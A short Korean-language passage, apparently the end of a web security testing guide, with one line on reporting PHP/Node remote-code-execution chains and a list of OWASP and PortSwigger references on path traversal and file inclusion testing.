- PHP/Node RCE 체인은 실행 조건과 최소 명령 결과
참고자료
공식 및 테스트 가이드
- OWASP Path Traversal
- OWASP WSTG - Testing Directory Traversal File Include
- OWASP WSTG - Testing for File Inclusion
- PortSwigger - Directory traversal
- PortSwigger - File path traversal vulnerabilities (lab 모음)